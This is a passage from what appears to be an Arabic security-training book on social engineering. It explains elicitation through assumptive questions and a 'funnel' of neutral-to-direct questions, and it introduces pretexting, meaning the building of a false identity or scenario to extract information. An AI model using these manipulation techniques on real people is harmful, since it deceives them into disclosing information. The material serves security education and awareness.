‫ھﻧﺎك ﻧﻘطﺔ ﺟﯾدة ھو أﻧﻧﺎ ﻧﻼﺣظ أﻧﮫ ﻋﻧدﻣﺎ ﯾﺳﺗﺧدم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ )‪ (Assumptive Questions‬ﻻ ﯾﻧﺑﻐﻲ أﺑدا أن‬
‫ﯾﻌطﻰ ﺻورة ﻛﺎﻣﻠﺔ ﻟﮭذا اﻟﮭدف‪ .‬وذﻟك ﻻن ھذا ﯾﻌطﻲ ﻛل اﻟﻘوة إﻟﻰ اﻟﮭدف وﯾزﯾل ﻣن ﻗدرة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺳﯾطرة ﻋﻠﻰ اﻟﺑﯾﺋﺔ‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﺟب أن ﯾﺳﺗﺧدم اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ )‪ (Assumptive Questions‬ﻋﻧدﻣﺎ ﯾﻛون ﻟدﯾﮫ ﻓﻛرة ﻋن وﻗﺎﺋﻊ ﺣﻘﯾﻘﯾﺔ واﻧﮫ‬
‫ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻓﻲ ھذه اﻟﻣﺳﺄﻟﺔ‪ .‬اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ )‪ (Assumptive Questions‬ﻣﻊ ﻣﻌﻠوﻣﺎت وھﻣﯾﺔ ﻗد ﯾﺣول اﻟﮭدف اﻟﻰ‬
‫اﻟﺳﻛون وھذا ﺳﯾؤﻛد ﻓﻘط أن اﻟﮭدف ﻻ ﯾﻌرف ﺷﻲء ﻋن ھذا‪ .‬اﻟﻌودة إﻟﻰ اﻟﻣﺛﺎل اﻟﺳﺎﺑﻖ‪ ،‬إذا أردت اﻟﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻣن اﻟﻛﯾﻣﺎﺋﻲ اﻟراﺋد‬
‫وﻣن ﺛم ﻗﻣت ﺑﺑﻌض اﻟﺑﺣوث وﻋرﻓت ﺻﯾﻐﮫ ﻛﯾﻣﺎﺋﯾﺔ واﺣده ﻓﯾﻣﻛﻧك اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ )‪ (Assumptive Questions‬وﻟﻛن ﻣن‬
‫ﺷﺄن ھذا أن ﯾﻔﺳد اﻟﻣﺗﺎﺑﻌﺔ ﻣﺳﺗﻘﺑﻼ إذا ﻟم أﻛن ﻗﺎدرا ً ﻋﻠﻰ دﻋم اﻓﺗراض اﻟﮭدف‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻗﻣت ﺑﺳؤال ﻋﺎﻟم ﻧووي‪" ،‬ﻷن اﻟدﯾوﺗﯾرﯾوم واﻟﺗرﯾﺗﯾوم ﺗﺣﺗﺎج درﺟﺔ ﺣرارﯾﺔ ﻣﻧﺧﻔﺿﺔ‪ ،‬ﻛﯾف ﯾﻣﻛن ﻟﻠﻣرء اﻟﺗﻌﺎﻣل ﻣﻊ ھذه‬
‫اﻟﻣواد ﻟﺗﺟﻧب اﻻﺷﺗﻌﺎل؟" ﻗد ﺗﻛون اﻟﻣﻌﻠوﻣﺎت ﺻﻌﺑﮫ وﻣن اﻟﺻﻌب اﻟﻣﺗﺎﺑﻌﺔ إذا ﻟم ﺗﻛن ﻋﺎﻟم ﻓﯾزﯾﺎء ﻧووي‪ .‬ھذا ﯾﺄﺗﻲ ﺑﻧﺗﺎﺋﺞ ﻋﻛﺳﯾﺔ وﻏﯾر ﻣﻔﯾدة‬
‫ﺟدا‪ .‬ﺗﺧطﯾط اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ )‪ (Assumptive Questions‬ﻟدﯾﮭﺎ أﻛﺑر ﻗدر ﻣن اﻟﺗﺄﺛﯾر‪.‬‬
‫ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﺗم ﺗدرﯾﺳﮭﺎ ﻟﻠﻣوظﻔﯾن اﻟﻣﻛﻠﻔﯾن ﺑﺗﻧﻔﯾذ اﻟﻘﺎﻧون واﻟﺗﻲ ﺗﺄﺗﻲ ﺑﺳﮭوﻟﮫ ﻋﻧد اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻻﻓﺗراﺿﯾﺔ ھو أن أﻗول‪ " ،‬ﻓﻛر ﻣﻠﯾﺎ‬
‫ﻗﺑل اﻟرد ﻋﻠﻰ اﻟﺳؤال اﻟﺗﺎﻟﻲ ‪ "...‬ھذا اﻟﻧوع ﻣن اﻟﺑﯾﺎن ‪ preloads‬اﻟﮭدف )أي ﯾﻘوم ﺑﺈﻋداده( ﻣﻊ ﻓﻛرة أﻧﮫ ﯾﺟب أن ﯾﻛون ﺻﺎدﻗﺎ‪.‬‬
‫ﯾﻣﻛن أن ﯾﺳﺗﻐرق ﺷﮭورا أو ﺳﻧوات ﻹﺗﻘﺎن ھذه اﻟﻣﮭﺎرات‪ .‬ﻻ ﺗﺑﺗﺋس إذا ﻛﺎﻧت اﻟﻣﺣﺎوﻻت اﻟﻘﻠﯾﻠﺔ اﻷوﻟﻰ ﻟم ﺗﻛن ﻧﺎﺟﺣﺔ‪ ،‬وﺗﺣﺎول أن ﺗﺑﻘﻲ‪ .‬ﻻ‬
‫ﺗﺧف‪ ،‬رﻏم ذﻟك‪ ،‬ھﻧﺎك ﺑﻌض اﻟﻧﺻﺎﺋﺢ ﻹﺗﻘﺎن ھذه اﻟﻣﮭﺎرة‪ .‬ﺳﺄﺳﺗﻌرض ھذه ﻓﻲ اﻟﺧﺗﺎم‪.‬‬

‫اﺗﻘﺎن اﻠ ‪Elicitation‬‬
‫ﻣﺛل ﻣﻌظم ﺟواﻧب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬اﻠ ‪ Elicitation‬ﯾﺣﺗوي ﻋﻠﻰ ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﺑﺎدئ اﻟﺗﻲ ﻋﻧد ﺗطﺑﯾﻘﮭﺎ ﻣن ﺷﺄﻧﮭﺎ ﺗﻌزﯾز ﻣﺳﺗوى‬
‫اﻟﻣﮭﺎرات اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﻟﻣﺳﺎﻋدﺗك ﻋﻠﻰ اﻟﺳﯾطرة ﻋﻠﻰ ھذه اﻟﻣﺑﺎدئ‪ ،‬ﺗذﻛر ھذه اﻟﻣؤﺷرات‪:‬‬
‫‪ -‬اﻷﺳﺋﻠﺔ اﻟﻛﺛﯾرة ﺟدا ﯾﻣﻛن اﻏﻼق ھذا اﻟﮭدف‪ .‬ﻷﻧﮭﺎ ﺳوف ﺗﻣﻸ اﻟﮭدف ﺑواﺑل ﻣن اﻷﺳﺋﻠﺔ واﻟﺗﻲ ﺳوف ﺗؤدى اﻟﻰ إﯾﻘﺎف اﻟﮭدف‪ .‬ﺗذﻛر‪،‬‬
‫اﻟﻣﺣﺎدﺛﺔ ھو اﻷﺧذ واﻟﻌطﺎء‪ .‬ﻛﻧت أرﯾد أن أﺳﺄل‪ ،‬وﻟﻛن ﻋﻠﯾك أن ﺗﻌطﻲ ﻟﺟﻌل اﻟﮭدف ﯾﺷﻌر ﺑﺎﻟراﺣﺔ‪.‬‬
‫‪ -‬اﺳﺗﺧدام ﻋدد ﻗﻠﯾل ﺟدا ﻣن اﻷﺳﺋﻠﺔ ﯾﺟﻌل اﻟﮭدف ﯾﺷﻌرون ﺑﻌدم اﻻرﺗﯾﺎح‪ .‬ھل ﺳﺑﻖ ﻟك ان وﺟدت ﻓﻲ ﻣﺣﺎدﺛﺔ ﻣﻠﯾﺋﺔ ﺑﺎﻟﺻﻣت؟ أﻧﮭﺎ ﻟﯾﺳت‬
‫ﺟﯾدة؟ ﻻ ﺗﻔﺗرض أن اﻟﮭدف اﻟﺧﺎص ﺑك ﻣﺎھر وراﻏب ﻓﻲ اﻟﻣﺣﺎدﺛﺎت‪ .‬ﯾﺟب أن ﺗﻌﻣل ﻋﻠﻰ ﺻﻧﻊ اﻟﻣﺣﺎدﺛﺔ ﺗﺟرﺑﺔ ﻣﻣﺗﻌﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪814‬‬

‫‪ -‬أﺳﺄل ﺳؤال واﺣد ﻓﻘط ﻓﻲ اﻟﻣرة اﻟواﺣدة‪ .‬ﺣﯾث ﺳوف ﻧﻐطﻰ ‪ buffer overflows‬ﻋﻠﻰ اﻟﻌﻘل اﻟﺑﺷرى‪ ،‬وﻟﻛن ﻓﻲ ھذه اﻟﻣرة ھدﻓك ھو‬
‫ﻋدم ﺗﺟﺎوز اﻟﮭدف‪ .‬ھو ﻣﺟرد ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت وﺑﻧﺎء اﻟﺷﺧﺻﯾﺔ‪ .‬ﻟﻠﻘﯾﺎم ﺑذﻟك ﻻ ﯾﻣﻛن أن ﺗﺑدو ﺣرﯾﺻﺎ ﺟدا أو ﻏﯾر ﻣﮭﺗم‪.‬‬
‫ﻛﻣﺎ رﺑﻣﺎ ﻛﻧت ﻗد ﺟﻣﻌت‪ ،‬ﻣﻣﺎ ﯾﺟﻌل ﻋﻣل اﻠ ‪ Elicitation‬ﺻﺣﯾﺢ ھذا ھو اﻟﺗوازن اﻟدﻗﯾﻖ‪ .‬اﻟﻛﺛﯾر ﺟدا‪ ،‬اﻟﻘﻠﯾل ﺟدا‪ ،‬اﻟﻛﺛﯾر ﺟدا ﻓﻲ وﻗت‬
‫واﺣد‪ ،‬ﻟﯾس ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ‪ ،‬أي واﺣد ﻣن ھذا ﺳوف ﯾﻘﺗل ﻓرﺻك ﻓﻲ اﻟﻧﺟﺎح‪.‬‬
‫وﻣﻊ ذﻟك‪ ،‬ﯾﻣﻛن ﻟﮭذه اﻟﻣﺑﺎدئ أن ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺳﯾطرة ﻋﻠﻰ ھذه اﻟﻣواھب اﻟﻣدھﺷﺔ‪ .‬إذا ﻛﻧت ﺗﺳﺗﺧدم ھذه اﻟطرﯾﻘﺔ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ أو‬
‫ﻣﺟرد ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﻟﺗﻔﺎﻋل ﻣﻊ اﻟﻧﺎس‪ ،‬ﻗم ﺑﮭذه اﻟﻣﺣﺎوﻟﺔ‪ :‬ﻓﻛر ﻓﻲ ﻣﺣﺎدﺛﺔ ﺑﺎﻋﺗﺑﺎرھﺎ ﻗﻣﻊ‪ ،‬ﺣﯾث ﻋﻠﻰ رأس اﻟﻘﻣﻊ وھو اﻻﻛﺑر‪ ،‬ﺿﻊ ﻣﻌظم اﻻﺟزاء‬
‫"اﻟﻣﺣﺎﯾدة" وﻋﻠﻰ اﻟﺟزء اﻟﺳﻔﻠﻲ وھو ﺿﯾﻖ ﺟدا ﺿﻊ اﻟﻧﮭﺎﯾﺎت اﻟﻣﺑﺎﺷرة‪.‬‬
‫ﺗﺑدأ ﻋن طرﯾﻖ طرح أﺳﺋﻠﺔ ﻣﺣﺎﯾدة ﺟدا )أﺳﺋﻠﺔ ﻋﺎدﯾﮫ( ﻟﻠﮭدف وﻋﺎدة ﺗﺳﺗﺧدم ﻟﻛﺳر اﻟﺟﻠﯾد ﻛﻣﺎ ﯾطﻠﻖ ﻋﻠﯾﮫ ﺑﯾﻧك وﺑﯾن اﻟﮭدف وﻋﺎدة ﻣﺎ ﯾﺳﺗﺧدم‬
‫ﺑﻌض اﻟﻘﻠﯾل اﻟﻔﻛﺎھﺔ ﻣﻌﮫ‪ ،‬وﺟﻣﻊ ﺑﻌض اﻟﺣﻘﺎﺋﻖ ﺑﺎﺳﺗﺧدام ھذه اﻷﺳﺋﻠﺔ‪ .‬اﻷﺧذ واﻟﻌطﺎء ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪ ،‬وﻣن ﺛم اﻻﻧﺗﻘﺎل إﻟﻰ ﺑﺿﻌﺔ أﺳﺋﻠﺔ ﻣﻔﺗوﺣﺔ‪.‬‬
‫إذا ﻟزم اﻷﻣر‪ ،‬واﺳﺗﺧدام ﺑﻌض اﻷﺳﺋﻠﺔ اﻟﻣﻐﻠﻘﺔ ﻟﺗوﺟﯾﮫ اﻟﮭدف إﻟﻰ ﺣﯾث ﺗرﯾد أن ﺗذھب ﺛم إذا ﻛﺎن اﻟوﺿﻊ ﻣﻧﺎﺳب‪ ،‬ﻓﻘم ﺑﺎﻻﻧﺗﻘﺎل إﻟﻰ اﻷﺳﺋﻠﺔ‬
‫اﻟﻣوﺟﮭﺔ ﻟﻠﻐﺎﯾﺔ ﻟﻛﻲ ﺗﺻل إﻟﻰ ﻧﮭﺎﯾﺔ اﻟﻘﻣﻊ‪ .‬ﻣﺎ ﺳوف ﯾﺳﻛب ﻣن اﻟﻘﻣﻊ ھو ﻧﮭر ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﻓﮭم ﻛﯾﻔﯾﺔ اﻟﺗواﺻل ﻣﻊ اﻟﻧﺎس ھو ﻣﮭﺎرة أﺳﺎﺳﯾﺔ ﻠﻠ ‪ .elicitor‬ﯾﺟب ﻋﻠﻰ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ان ﯾﺗﻛﯾف ﺑﺳرﻋﮫ وﯾﻛون ﻗﺎدرا ﻋﻠﻰ اﻟﺗطﺎﺑﻖ ﻣﻊ‬
‫اﻟﻣﺣﺎدﺛﺔ أو اﻟﺑﯾﺋﺔ أو اﻟوﺿﻊ‪ .‬اﻟﺑﻧﺎء اﻟﺳرﯾﻊ ﺣﺗﻰ أﺻﻐر ﻛﻣﯾﺔ ﻣن اﻟﺛﻘﺔ ﻣﻊ اﻟﮭدف أﻣر ﺑﺎﻟﻎ اﻷھﻣﯾﺔ‪ .‬دون ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪ ،‬ﯾؤدى اﻟﻰ ﻓﺷل‬
‫اﻟﻣﺣﺎدﺛﺔ‪ .‬ﺗﺷﻣل اﻟﻌواﻣل اﻟرﺋﯾﺳﯾﺔ اﻷﺧرى ھو اﻟﺗﺄﻛد ﻣن ﻧﻣط اﻻﺗﺻﺎل اﻟﺧﺎﺻﺔ ﺑك‪ ،‬اﻷﺳﺋﻠﺔ اﻟﻣﺳﺗﺧدﻣﺔ‪ ،‬اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﺗﺣدث ﺑﮭﺎ ﺗطﺎﺑﻖ ﻧﻣط‬
‫اﻟﺷﺧﺻﯾﺔ اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮭﺎ‪ .‬ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ طرح اﻷﺳﺋﻠﺔ واﻟﺗﻲ ﺗﺟﺑر ﻋﻠﻰ اﻻﺳﺗﺟﺎﺑﺔ ھو اﻟﻣﻔﺗﺎح ﻟﻧﺟﺎح اﻠ ‪ ،Elicitation‬وﻟﻛن إذا ﻛﺎﻧت ﻛل ﺗﻠك‬
‫اﻟﻣﮭﺎرة وﺟﻣﯾﻊ ﺗﻠك اﻷﺳﺋﻠﺔ ﻻ ﺗﺗطﺎﺑﻖ ﻧﻣط اﻟﺷﺧﺻﯾﺔ اﻟﺧﺎﺻﺔ ﺑك‪ ،‬ﻓﮭذا ﺳوف ﯾؤدى اﻟﻰ ﺗﻔﺷل ﻣﺣﺎوﻟﺔ اﻠ ‪.Elicitation‬‬

‫‪Human-Based Social Engineering: Pretext‬‬

‫اﻟﺻدق ﻣﻔﺗﺎح اﻟﻌﻼﻗﺔ‪ .‬ﻓﺈذا اﺳﺗطﻌت ﺗزﯾﻔﮭﺎ‪ ،‬ﻓﺈﻧك ﻓﯾﮭﺎ‬

‫‪Honesty is the key to a relationship. If you can fake that, you are in‬‬
‫رﯾﺗﺷﺎرد ﺟﯾﻧﻲ‬
‫ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن رﺑﻣﺎ ﻧﺣن ﺟﻣﯾﻌﺎ ﻧﺗﻣﻧﻰ أن ﻧﻛون ﺷﺧص آﺧر‪ .‬اﻟﻌﻠوم اﻟدواﺋﯾﺔ ﻟم ﺗوﻓر ﻟﻧﺎ ﺣﺑوب ﯾﻣﻛﻧﮭﺎ أن ﺗﺟﻌل ذﻟك ﻣﻣﻛﻧﺎ‪ ،‬وﻣﻊ ذﻟك‬
‫ﻹﯾﺟﺎد ﺣل ﻟﮭذه اﻟﻣﻌﺿﻠﺔ‪ ،‬ﻓﺈﻧﻧﺎ ﺳوف ﻧﺳﺗﺧدم ‪.pretexting‬‬
‫ﻣﺎ ھو ‪pretexting‬؟ ﺑﻌض اﻟﻧﺎس ﯾﻘوﻟون اﻧﮭﺎ ﻣﺟرد ﻗﺻﺔ أو ﻛذﺑﺔ اﻟﺗﻲ ﺳوف ﺗﺗﺻرف ﻋﻠﻰ أﺳﺎﺳﮭﺎ ﻣن ﺧﻼل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﻟﻛن‬
‫ھذا اﻟﺗﻌرﯾف ﻣﺣدود ﺟدا‪ .‬ﺣﯾث ﯾﻔﺿل ﺗﻌرﯾف اﻠ ‪ pretexting‬ﻋﻠﻰ أﻧﮫ ﺧﻠﻔﯾﺔ ﻗﺻﮫ )‪ ،(background story‬اﻟﻠﺑﺎس‪ ،‬اﻟﺗﺑرج‪/‬اﻟﺗزﯾن‪،‬‬
‫اﻟﺷﺧﺻﯾﺔ‪ ،‬اﻟﺳﻠوك اﻟذي ﺳوف ﯾﺷﻛل ﺣرﻓﯾﺎ اﻟﺷﺧﺻﯾﺔ‪ .‬اﻠ ‪ pretexting‬ﯾﺷﻣل ﻛل ﺷﻲء ﯾﻣﻛن ﺗﺻوره ﺣول ﻛﯾف ﺗﻛون اﻟﺷﺧﺻﯾﺔ‪ .‬ﻛﻠﻣﺎ ذات‬
‫ﺻﻼﺑﺔ اﻠ ‪ ،pretexting‬ﻛﻠﻣﺎ ﻛﺎن أﻛﺛر ﺗﺻدﯾﻘﺎ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫اﻠ ‪ ،pretexting‬وﺧﺎﺻﺔ ﻣﻧذ ظﮭور ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ ،‬ﺷﮭدا زﯾﺎدة ﻓﻲ اﺳﺗﺧداﻣﮫ ﻓﻲ اﻻﺳﺗﺧداﻣﺎت اﻟﺿﺎرة‪ .‬ﺣﯾث ﻋﻠﻰ اﻹﻧﺗرﻧت ﯾﻣﻛﻧك أن‬
‫ﺗﻛون أي ﺷﺧص ﺗرﯾد أن ﺗﻛوﻧﮫ‪ .‬اﻟﻘراﺻﻧﺔ ﯾﻘوﻣون ﺑﺎﺳﺗﺧدام ھذه اﻟﻘدرة ﻟﺻﺎﻟﺣﮭم ﻟﺳﻧوات ﻋدﯾده وﻟﯾس ﻓﻘط ﻋﻠﻰ اﻹﻧﺗرﻧت‪.‬‬
‫ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﻠﻌب دورا أو أن ﺗﻛون ﺷﺧﺻﺎ ﻣﺧﺗﻠﻔﺎ ﻟﺗﺣﻘﯾﻖ اﻟﮭدف ﺑﻧﺟﺎح ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻛون ﺣﺗﻣﯾﺎ‪ .‬ﻛرﯾس ﻧﯾﻛرﺳون )أﺷﮭر ﻣﮭﻧدس‬
‫اﺟﺗﻣﺎﻋﻲ( ﺣول ھذا اﻟﻣوﺿوع ﻗﺎل إن اﻠ ‪ pretexting‬ﻟﯾس ﻟﻌب دور ﺷﺧص ﻣﺎ‪ ،‬وﻟﯾس أن ﺗﻌﯾش ﻛذﺑﮫ وﻟﻛن أن ﺗﺻﺑﺢ ﻓﻌﻼ ھذا اﻟﺷﺧص‪.‬‬
‫ﺣﯾث ﺗﻛون ﻛل ﻗطﻌﮫ ﻓﻲ اﻟﺷﺧﺻﯾﺔ اﻟﺗﻲ ﺗرﯾد ان ﺗﺻﺑﺣﮭﺎ‪ .‬طرﯾﻖ اﻟﻣﺷﻲ‪ ،‬طرﯾﻘﺔ اﻟﻛﻼم‪ ،‬ﻟﻐﺔ اﻟﺟﺳد اﻟﺗﻲ ﺗﻛوﻧﮭﺎ ھذه اﻟﺷﺧﺻﯾﺔ‪ .‬وأﻧﺎ أﺗﻔﻖ ﻣﻊ‬
‫ھذه اﻟﻔﻠﺳﻔﺔ‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻋﻧد ﻣﺷﺎھدة ﻓﯾﻠم ﻓﺎن اﻟﻧﺎس ﺗﺷﻌر "اﻧﮫ أﻓﺿل ﻣﺎ ﺷﺎھدت ﻣن أي وﻗت ﻣﺿﻰ" وﻟذﻟك ﻟﺗﻔﺎﻋل اﻟﻣﻣﺛﻠﯾن‬
‫ﺑﺗﻣﺛﯾﻠﮭم اﻟﺷﺧﺻﯾﺔ ﺑدﻗﮫ‪ ،‬ﺗﻧﺎوﻟﮭم ﺟﻣﯾﻊ أﺟزاء اﻟﺷﺧﺻﯾﺔ ﺣﺗﻰ اﻧﮭم ﻻ ﯾﻣﻛن ﺗﻔرﯾﻘﮭم ﻋن اﻟﺷﺧﺻﯾﺔ اﻟﺣﻘﯾﻘﯾﺔ‪.‬‬
‫اﻟﻣﺷﻛﻠﺔ ﻣن اﺳﺗﺧدام اﻠ ‪ pretexting‬ﻣﻊ اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ھﻲ أﻧﮭم ﯾﺷﻌرون أﻧﮫ ﻣﺟرد ﻣﻼﺑس ﯾﻘوﻣون ﺑﺎرﺗدادھﺎ وھذا ﻛل‬
‫ﺷﻲء‪ .‬ﺻﺣﯾﺢ‪ ،‬ان اﻟﻣﻼﺑس ﯾﻣﻛن أن ﺗﺳﺎﻋدھم‪ ،‬وﻟﻛن اﻠ ‪ pretexting‬ھو ﻓﻲ ﺣد ذاﺗﮫ ﻋﻠم‪ .‬ﻋﻧدﻣﺎ ﺗﻛون ﻓﻲ طرﯾﻘك‪ ،‬ﻟﺗﻣﺛﯾل ﺷﺧﺻﯾﺔ ﻣﺎ‬
‫ﺗﺧﺗﻠف ﻋﻣن أﻧت‪ .‬ﻟﻠﻘﯾﺎم ﺑذﻟك‪ ،‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﯾﺟب ﻋﻠﯾك وﺿﻊ ﺻورة واﺿﺣﺔ ﻋن اﻟﺷﺧﺻﯾﺔ اﻟﺗﻲ ﺗرﯾد أن ﺗﻛوﻧﮭﺎ ﺣﻘﺎ‪ .‬ﺛم ﯾﻣﻛﻧك وﺿﻊ‬
‫ﺧطﺔ ﻷداء اﻟﺷﺧﺻﯾﺔ وﻣن ﺛم أداء اﻠ ‪ pretexting‬ﺑﻔﺎﻋﻠﯾﮫ‪ .‬أﺧﯾرا‪ ،‬ﯾﻣﻛﻧك ﺗطﺑﯾﻖ اﻟﻠﻣﺳﺎت اﻻﺧﯾرة‪ .‬ﺳﯾﻐطﻲ ھذا اﻟﻔﺻل ﺗﻠك اﻟﺟواﻧب ﻣن اﻠ‬
‫‪ .pretexting‬ﺣﯾث ﺳوف ﻧﺑدأ أول ﺑﻣﻧﺎﻗﺷﺔ ﻣﺎ ھو اﻠ ‪ .pretexting‬ﺗﺎﻟﯾﺎ ﺳوف ﻧﻧﺎﻗش ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻠ ‪ pretexting‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫أﺧﯾرا‪ ،‬ﻟرﺑط ﻛل ذﻟك ﻣﻌﺎ‪ ،‬ﺳوف ﻧﺳرد ﺑﻌض اﻟﻘﺻص اﻟﺗﻲ ﺗﺑﯾن ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻠ ‪ pretexting‬ﻋﻠﻰ ﻧﺣو ﻓﻌﺎل‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪815‬‬

‫ﻣﺎ ھو اﻠ ‪Pretexting‬؟‬
‫ﯾﺗم ﺗﻌرﯾف اﻠ ‪ pretexting‬ﻋﻠﻰ أﻧﮫ ﻓﻌل ﻻﺧﺗراع ﺳﯾﻧﺎرﯾو ﻹﻗﻧﺎع اﻟﺿﺣﯾﺔ اﻟﻣﺳﺗﮭدﻓﺔ ﻟﻺﻓراج ﻋن اﻟﻣﻌﻠوﻣﺎت أو ﺗﻧﻔﯾذ ﺑﻌض اﻹﺟراءات‪ .‬ھو‬
‫أﻛﺛر ﻣن ﻣﺟرد إﻧﺷﺎء ﻛذﺑﺔ؛ ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت ﯾﻣﻛن أن ﯾﻛون إﻧﺷﺎء ھوﯾﺔ ﺟدﯾدة ﻛﺎﻣﻠﺔ وﻣن ﺛم اﺳﺗﺧدام ﺗﻠك اﻟﮭوﯾﺔ ﻟﻠﺗﻼﻋب ﺑﺗﻠﻘﻲ اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﯾﻣﻛن ﻟﻣﮭﻧدﺳﻲ اﻻﺟﺗﻣﺎﻋﯾﺔ اﺳﺗﺧدام اﻠ ‪ pretexting‬ﻻﻧﺗﺣﺎل ﺷﺧﺻﯾﺔ اﻟﻧﺎس ﻓﻲ اﻟوظﺎﺋف واﻷدوار اﻟﺗﻲ ﻟم ﯾﻔﻌﻠوھﺎ ﻣن ﻗﺑل‪ .‬اﻠ ‪pretexting‬‬
‫ﻟﯾس ﺣﻼ ﯾﻧﺎﺳب اﻟﺟﻣﯾﻊ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﺟب ﻋﻠﯾﮫ ﺗطوﯾر اﻟﻌدﯾد ﻣن اﻠ ‪ pretext‬اﻟﻣﺧﺗﻠﻔﺔ ﺧﻼل ﺣﯾﺎﺗﮫ اﻟﻣﮭﻧﯾﺔ‪ .‬ﺟﻣﯾﻌﮭم ﻟدﯾﮭم ﺷﻲء‬
‫واﺣد ﻣﺷﺗرك‪ :‬اﻟﺑﺣث‪ .‬ﺗﻘﻧﯾﺎت ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻟﺟﯾدة ﯾﻣﻛﻧﮭﺎ ان ﺗﺟﻌل اﻠ ‪ pretext‬ﺟﯾدة‪.‬‬
‫ﯾﺳﺗﺧدم اﻠ ‪ pretext‬أﯾﺿﺎ ﻓﻲ ﻣﺟﺎﻻت اﻟﺣﯾﺎة اﻷﺧرى ﻏﯾر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬اﻟﻣﺑﯾﻌﺎت؛ اﻟﺧطﺑﺎء؛ ﺧﺑراء اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‬
‫)‪(NLP‬؛ وﺣﺗﻰ اﻷطﺑﺎء واﻟﻣﺣﺎﻣﯾن واﻟﻣﻌﺎﻟﺟﯾن‪ ،‬وﺟﻣﯾﻊ اﻟﻣﺟﺎﻻت اﻟﺗﻲ ﺗﺣﺗﺎج ﻻﺳﺗﺧدام ﺷﻛل ﻣن أﺷﻛﺎل اﻠ ‪ .pretext‬ﺣﯾث ان ﺟﻣﯾﻌﮭم ﻟدﯾﮭم‬
‫ﻧﻔس اﻟﮭدف ﻟﺧﻠﻖ ﺳﯾﻧﺎرﯾو اﻟذي ﯾﺟﻌل اﻟﻧﺎس ﻣرﺗﺎﺣون ﻣﻌﮫ ﻟﻺﻓراج ﻋن اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﻔرق ﺑﯾن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾﺔ ﺑﺎﺳﺗﺧدام اﻠ ‪pretext‬‬
‫وﻏﯾرھﺎ ھﻲ اﻷھداف اﻟﻣﻌﻧﯾﺔ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻣرة أﺧرى‪ ،‬ﯾﺟب أن ﯾﻌﯾش اﻟﺷﺧﺻﯾﺔ ﻟﺑﻌض اﻟوﻗت‪ ،‬وﻟﯾس ﻓﻘط اﻟﺗﺻرف ﻛﺟزء ﻣﻧﮭﺎ‪.‬‬

